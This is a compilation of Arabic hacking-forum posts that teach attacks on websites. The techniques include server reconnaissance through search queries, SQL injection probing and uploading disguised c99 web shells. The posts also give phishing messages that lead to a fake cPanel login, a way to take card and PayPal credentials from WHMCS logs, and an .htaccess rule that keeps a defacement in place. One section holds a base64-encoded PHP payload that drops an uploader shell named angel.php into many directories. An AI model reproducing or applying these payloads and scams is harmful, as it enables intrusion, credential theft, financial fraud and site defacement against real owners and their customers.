السلام عليكم
كيف حالكم ؟
يارب بخير
الكل الايام هادى متعقد من استهداف المواقع
طيب والحل
تابع الشرح
لما بدك تخترق موقع ما
بتروح على ابدا ثم تشغيل ثم اكتب cmd
بعدين راح تجيك شاشة سوداء اكتب فيها
ping Cant See Links
بدلا من الاكسات حط اسم الموقع مثلا
ping Cant See Links
مثل الصورة
Cant See Images


بعدين راح يجيك الاى بى تبع السيرفر
انسخه كليك يمين وضع علامة وحدد الاى بى واضغط انتر وراح ينتسخ معك الاى بى
بعدين روح على موقع
Cant See Links
واكتب
ip:xxxxxx
بدلا من الاكسات حط الاى بى
والتطبيق على موقعنا مثلا
ip:174.121.61.178
هيك تمام
راح يجيك مواقع السيرفر
انت بدك تخترق موقع على السيرفر ومن ثم التنقل على هدفك
طيب شوف
اكتب
ip:xxxxxx public_html
هادا بطلعلك يوزرات المواقع
وبتروح تخمن عليهـا عن طريق سكربت تخمين مرفوع
ـــــــــ
ip:xxxxxx id=
وهادا بطلعلك المواقع المصابه بثغرة sql افتح المواقع الى اخرها رقم وحط بعدهـا
العلامة هادى ' موجودة فى الكيبورد
حول انجليزى واضغط على حرف ال ط
مثـال
هذا وجدناه مثلا فى البحث فى موقع ال bing
www.gaza-hacker.com/cc/showthread.php?p=157245
والتطبيق راح يكون
'www.gaza-hacker.com/cc/showthread.php?p=157245
اذا اجاك خطا sql()
Fatal error: Call to a member function fetch() on a non-object in
يعنى الرابط مصاب
تقدر تستغله عن طريق الحقن اليدوى او الحقن ببرنامج الهافيج
والكل بعـرفه
ــــــــــــــــــــــ
ip:xxxxxx upload
هذا احلى شيـئ
بتفتح مواقع الابلود الى ع السيرفر
وبترفع شيل
بصيغة jpg
مثال
c99.php.jpg
او بصيغة zip
c99.php.zip
ويتم الرفع الشيل إن شاء الله
ـــــــــــــــــ
ip:xxxxxx vbulletin
بتبحث عن هذا بجيبلك كل المنتديات الى على السيرفر
وهذه كل ثغـرات المنتديات
Cant See Links
طبق وأختـرق :D

ـــــــــــــــ
ip:xxxxxx error
وهذا بطلع الك كل الاخطاء الى فى مواقع السيرفر
ـــــــــــــــــــ
وهذا الامر الخطير والاكثر استعمالا ونجـاحا
ip:xxxxxx powered by
هذا بتبحث عنه فى موقع البحث bing مع وضع الاى بى
وبطلع الك كل السكربتات الى مركبة على مواقع السيرفر
وهادى بدها صبر وعدم يأس وما تخلى كلمة مستحيل تتحكم فيك :D
بتبحث وبتاخد اسم السكربت مثال فى البحث

Cant See Images

هذا الموقع مركب سكربت CubeCart
طيب الان بتروح علـى موقع الثغرات
Cant See Links

وبتكتب فى البحث على
CubeCart
كما فى الصورة
Cant See Images


ثم بحث Search


Cant See Images

طيب الحين كل الثغـرات الى فى السكربت طلعت لنا
افتحهم وحدة وحدة وطـبقهم على الهدف الى طلع النا فى البحث
سهلة بس بدهـا صبر وعدم يأس

ــــــــــــــــــــــــــــــــــــــــ
طيب مثلا ما لقيـنا ثغرة شغـالة فى السكربت الى بحثته عنه فوق CubeCart
ولقينا سكربت اخر الى هـوا
Cant See Images

Powered by: Arab Portal v2.1
بنبحث بنفس الطريقة عن
Arab Portal
ونشوف فى ثغـرات فى السكربت ولا لا
Cant See Images


كل الثغـرات الى فى السكربت طلعت لنا
افتح وحدة وحدة وطبق على الهدف
وهكذااااا
اظن فكرة البحث عن الثغرات وصلـت
طيب لو بدك تخترق موقع على السيرفر
وفشلت من ناحية الثغـرات
والحل ؟
تعال خودلك هالخدعتين
بنروح اول شيئ على موقع
Cant See Links
هذا بطلع الك معلومات عن الموقع
وبتحط موقع الهدف
http://www.domaintools.com/xxxx.com
بدل الاكسات حط الموقع الهدف
بتاخد موقع المستضيف
Cant See Images


هادا موقع الاستضافة
بتروح عليـه بتفتح الموقع المستضيف وبتبعت اله رسالة حلوه اله وبتخدعـه الى بتكون فى خانة اتصل بنا
بتروح على خانة الاتصال بنا
Cant See Images

وبتعمل مثل الى فى الصورة الى فوق
بتحط العنوان
طلب مساحه تجريبية
الموضوع :
بسم الله الرحمن الرحيم

اخي العزيز

لا زلت أتجول على مواقع الاستضافة بعد ان قمت بتجربة سيئة مع

احدى الشركات حيث كانت سرعة سيرفراتهم ضعيفه

مع ان عملاءهم شغالين بطريقة حلوة ما عدا السيرفر اللي انا عليه

لذلك ارسلت لك هذه الرسالة طالباً منك مساحه تجريبيه

لمدة يومين فقط أريد أن أجرب سرعة السيرفر

واذا عجبتني السرعه سأكون ان شاء الله احد عملائكم

ويدل هذا على نجاحكم المتفوق

في حآل الموافقة

أتمنى عمل الحساب وارساله الى ايميلي وشكراً لكم مقدماً .
Cant See Links
وهين حط ايميلك :)
وإذا ما لقيت هادى القائمة الى فوق
بكون حاطت ايميله
ارسل اله رسالة من ايميلك وبتسقبلها وبرد عليك
وبعديها بعطيك مساحة تجريبة ليوم او 2
وانت بتتنقل على السيرفر والباقى عليـك

ـــــــــــــــــــ
نفترض إنه ما رضى يعطيـنا مساحة
بنروح على منتديات السيرفر
الى بنكتب فى البحثip:xxxxxx vbulletin

وبطلع النا كل المنتديات بتفتحهم وتروح على الاتصال بنا
الى موجودة اخر استايل المنتدى
كما فى الصورة
Cant See Images


وبعدين

Cant See Images

هادى الخدعـة
اسمك : حط رابط الاستضافة
العنوان : تفعيل الحماية القصوى للوحة موقعكم المستضاف لدينا
الموضوع :

مرحبا ..
نحن استضافة موقعك عميلنا العزيز صاحب الموقع
ومن الجدير بالذكر
ان شبكة ال Cpanel
قامت بوضع تفعيل الحماية على المنتديات
وإضافة 15 ميزة جديدة
لتفعيل الحماية كالتالى
اولا اضغط على رابط ال cpanel من هنا

هنا رابط الصفحة تبعت ال cPanel المزروة

ثم ضع اليوز وكلمة المرور
ثم موافق
ثم ضع ايميلك المسجل لدينا فى الاستضافة

والدومين الخاص بك

ومن ثم متابعة التحديثات التلقائية
تحياتنا لكم
هنا رابط الاستضافة
ـــــــــــــــــــــــــــــــــ
وبفتح الرسالة وبحط اليوزر والباسورد
وبصلك التبليغ على ملف التكست فى الاسكامة وهيها مرفقة تحت
وبتدخل على السى بانل تبع الموقع وبترفع شيل
وبتتنقل على الهدف

ــــــــــــــ
تم الانتهاء
رابط تحميل اسكامة cPanel
من هنا
Cant See Links

ولإخواننا المبتدأين الى ما بيعرفوا شيئ (الجدد على ساحة الهكر)
هادا كتاب مفصل نقطة نقطة
Cant See Links

والسلام عليكم ورحمه الله وبركـاته
قـسـام هـكـر
Qassam HaCkeR

بسم الله الرحمن الرحيم

السلام عليكم ورحمة الله وبركاته


تخطى Cant See Links عند اعمل Cant See Links

الشرح من دورة اختراق المواقع 2012
سكيورتي رولز تبع
The Code
وحبيت انقله


بتاريخ
4/2/2012

للتحميل
Cant See Links


باسورد الملف

www.sec-r1z.info

السلام عليكم و رحمة الله و بركاته .

مش عارف اذا الطريقة نزلت او الموضوع مكرر

لاكن رح نحطه للافادو للجميع ^_^

اليوم سوف اشرح طريقة سحب الفيز من سكربت WHMCS

Cant See Images

طبعا الصورة الموجودة في الاعلى هي صورة للسكربت بشكل عام ,ومن اجل استخراج الفيز ندخل الى :utilities – email message log

Cant See Images

ندخل على رسائل الـ ( Welcome ) :

Cant See Images

حصلنا على الايميل و الباس , الان نجرب تسجيل الدخول بنفس البيانات في موقع الـ paypal.com :


Cant See Images

و طبعا لسحب السيبنلات ندخل الى رسائل الـ New Account Information

الصور كلها

Cant See Links
Cant See Links
Cant See Links
Cant See Links


اهداء خاااااص الى : Lito , Mr.Ps , Mr.XKiller , And All Gaza Hacker Team :D

سلام وعليكم
اخواني اريد الماسدة في العثور على ثغرت sql

وادا عندكم موقع مصاب ضعه في الرد
اريد اي موقع كان الا ان يكون عربي

Cant See Images

بسم الله الرحمن الرحيم

مساهمة مني في الارتقاء بفتيان الهكر العربي الاسلامي

احببت ان اقدم بداية الطريق ومربط الفرس وتذليل حجر العثرة التي تواجه كل هكر مبتدأ

محب للمشاركة في الدفاع عن ديننا الحنيف

بعد الاطلاع ع شغف متابعين الموضوع السابق بعنوان

:: شرح 10 انواع من الثغرات من كيفية العثور عليها وحتى رفع الشل من خلالها ::

والذي تلاه او جاء من بعده بعنوان

:: شرح ترجمة الثغرات المكتوبة بــ للغات البرمجية ( 6 للغات ) ::

والذي تلاه او جاء من بعده بعنوان

:: شرح طريقة رفع الشل من خلال اشهر الاسكربتات :: ( 6 اشهر اسكربتات ) ::

وعدت بأصدار موضوع اخر تحت عنوان

شرح بعض الطرق الخاصة بتخطي الوضع الامني والدوال الممنوعة
( Disable functions & Safe mode)

في هذه الدروس هنتطرق الى كيفيه تخطي تفعيل خاصية الوضع الامني
التي تقوم ع منع تطبيق الاوامر من خلال مترجم Php وازالة
سطر تطبيق الاوامر في الشل وشرح طريقة التحايل ع الوضع الامني بأستغلال مترجمات اخرى مثل البيرل والبايثون وايضا شرح بعض الثغرات الخاصة
بـ لوحة تحكم الــ Cpanel والتخطي من خلال الاتصال العكسي
اتمنى ان الدروس تكون واضحه وفعالة

الدروس طبعا مقتبسة من دورة Team HacKer Egypt

تحياتي للجميع ..


:: الان مع الدروس ::

1- :: الجزأ الأول تخطي الوضع الأمني و الدوال الممنوعة ::
التحميل
Cant See Links

2- :: الجزأ الثاني تخطي الوضع الأمني و الدوال الممنوعة ::
التحميل
Cant See Links

3- :: الجزأ الثالث تخطي الوضع الأمني و الدوال الممنوعة ::
التحميل
Cant See Links

4- :: الجزأ الرابع تخطي الوضع الأمني و الدوال الممنوعة ::
التحميل
Cant See Links

5- :: الجزأ الخامس تخطي الوضع الأمني و الدوال الممنوعة ::
التحميل
Cant See Links

6- :: الجزأ السادس تخطي الوضع الأمني و الدوال الممنوعة ::
التحميل
Cant See Links

7- :: الجزأ السابع تخطي الوضع الأمني و الدوال الممنوعة ::
التحميل
Cant See Links

8- :: الجزأ الثامن تخطي الوضع الأمني و الدوال الممنوعة ::
التحميل
Cant See Links

تم بحمدالله ... ترقبو دروس التنقل وتخطي الصلاحيات ...

اليوم سأقدم لكم طريقة لتغيير الصفحة الرئيسية للموقع عن طريق الشل اذا كان الملف* .htaccess *عليه تصريح



اولا هذا هو الكود الذي سيتم وضعه داخل الملف.htaccess



RewriteEngine on
RewriteRule ^index.php$ pdf/index.php


واسأشرح لكم المهم منه وكيفية استعماله وشرح مقدم القراصنة غزة فقط

الخطوة الأولى ::..::

RewriteRule ^index.php$ Folder/index.php

هذا السطر الذي يهمنا والذي سنعدل عليه

RewriteRule : معناها انه يعدل على الصفحة الرئيسية واللي هيا ^index.php

يعني اذا كانت الصفحة الرئيسية مثلا asp نكتب

RewriteRule ^index.asp
يعني نغير اللاحقة حسب نوع الصفحة الرئيسية


الخطوة الثانية ::..::

نبحث عن مجلد او ملف عليه تصريح على نفس الموقع ونرفع عليه الاندكس تبعنا

مثلا وجدنا مجلد اسمه images وعليه تصريح نرفع اندكسنا الىه ونغير الكود

هذا

Folder/Your index.php

يعني بدل كلمة Folder نضع اسم المجلد وبدلا من Your index.php تضع اسم اندكسك

يعني يصير هيك حسب مثالنا:



images/index.php


واذا وجدت ملف عليه اصريح تقدر تعدل عليه وتضع فيه محتوى اندكس وتضع مساره حسب المثال السابق

ووانتهى الامر

والان عندما يأتي صاحب الموقع ويشوف الموقع مخترق رح يحذف الاندكس ويرفع اندكس جديد
ورح يتفاجأ انه ما زال اندكسك على الصفحة الرئيسية !!! طيب شو السبب

السبب ان التعليمات ما زالت موجودة في ملف .htaccess يعني رح يتعدل الاندكس لاندكسك مرة ثانية ^_*

ولن يستطيع تغيير الرئيسية الا في ثلاث حالات ::،

1- ان يقوم بحذف التعليمات الموجودة داخل ملف .htaccess


2- ان يغير نوع الاندكس اللي عم يرفعه يعني مثلا كان php يعمله html

3- ان يقوم حذف اندكسك من المجدل المصرح المرفوع عليه


واذا كان صاحب الموقع غبي ما رح يقدر يشيل اندكسك ابدا ...



وهذه هو الكود النهائي حسب مثالنا بعد التعديل.::




RewriteEngine on
RewriteRule ^index.php$ images/index.php


واي استفسار انا جاهز لكن في نفس الموضوع

---

{php}eval(base64_decode('JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBTkNtVmphRzhnSnp4bWIzSnRJR0ZqZEdsdmJqMGlJaUJ0WlhSb2IyUTlJbkJ2YzNRaUlHVnVZM1I1Y0dVOUltMTFiSFJwY0dGeWRDOW1iM0p0TFdSaGRHRWlJRzVoYldVOUluVndiRzloWkdWeUlpQnBaRDBpZFhCc2IyRmtaWElpUGljN0RRcGxZMmh2SUNjOGFXNXdkWFFnZEhsd1pUMGlabWxzWlNJZ2JtRnRaVDBpWm1sc1pTSWdjMmw2WlQwaU5UQWlQanhwYm5CMWRDQnVZVzFsUFNKZmRYQnNJaUIwZVhCbFBTSnpkV0p0YVhRaUlHbGtQU0pmZFhCc0lpQjJZV3gxWlQwaVZYQnNiMkZrSWo0OEwyWnZjbTArSnpzTkNtbG1LQ0FrWDFCUFUxUmJKMTkxY0d3blhTQTlQU0FpVlhCc2IyRmtJaUFwSUhzTkNnbHBaaWhBWTI5d2VTZ2tYMFpKVEVWVFd5ZG1hV3hsSjExYkozUnRjRjl1WVcxbEoxMHNJQ1JmUmtsTVJWTmJKMlpwYkdVblhWc25ibUZ0WlNkZEtTa2dleUJsWTJodklDYzhZajVWY0d4dllXUWdVMVZMVTBWVElDRWhJVHd2WWo0OFluSStQR0p5UGljN0lIME5DZ2xsYkhObElIc2daV05vYnlBblBHSStWWEJzYjJGa0lFZEJSMEZNSUNFaElUd3ZZajQ4WW5JK1BHSnlQaWM3SUgwTkNuME5DajgrIik7DQokZm8gPSBmb3BlbigiYW5nZWwucGhwIiwidyIpOw0KZndyaXRlKCRmbywkY29kZSk7DQokYXI9ZXhwbG9kZSgiXG4iLCJhZG1pbg0KYXR0YWNobWVudHMNCmRvd25sb2Fkcw0KaW1hZ2VzDQppbmNsdWRlcw0KbGFuZw0KbW9kdWxlcw0Kb3JkZXINCnBpcGUNCnN0YXR1cw0KdGVtcGxhdGVzDQp0ZW1wbGF0ZXNfYw0Kd2lkZ2V0cw0KIik7DQoNCmZvcmVhY2goJGFyIGFzICRrZXkgPT4gJHZhbCkNCnsNCiRmbyA9IGZvcGVuKHRyaW0oJHZhbCkuIi9hbmdlbC5waHAiLCJ3Iik7IGZ3cml0ZSgkZm8sJGNvZGUpOw0KfQ=='));{/php}

---

---

attachments/angel.php
downloads/angel.php
images/angel.php
includes/angel.php
lang/angel.php
modules/angel.php
order/angel.php
pipe/angel.php
status/angel.php
templates/angel.php
templates_c/angel.php
widgets/angel.php

---

السلام عليكم ورحمة الله تعالى و بركاااته



ان شاء الله كل شيء بالف خير



اليوم معانا كتاب فريق قراصنة غزة


و هو كتاب من الكتب اللي راح تكون عن قريب ان شاء الله


طبعا كما قلة فيه اخوة كثير يدخلون على منتدى فريق

قراصنة غزة للاستفادة


و هدا ما سوف تجدونه ان شاء الله





الكتاب بسيط من نوعه لم اتعقد كثيرا فيه شرحة المهم فقط



اتمنى تستفيدو منه و اي اقتراح يسرني سماعه




Cant See Links



اي اقتراح يسرنا سماعه منكم




Cant See Links


Do5An1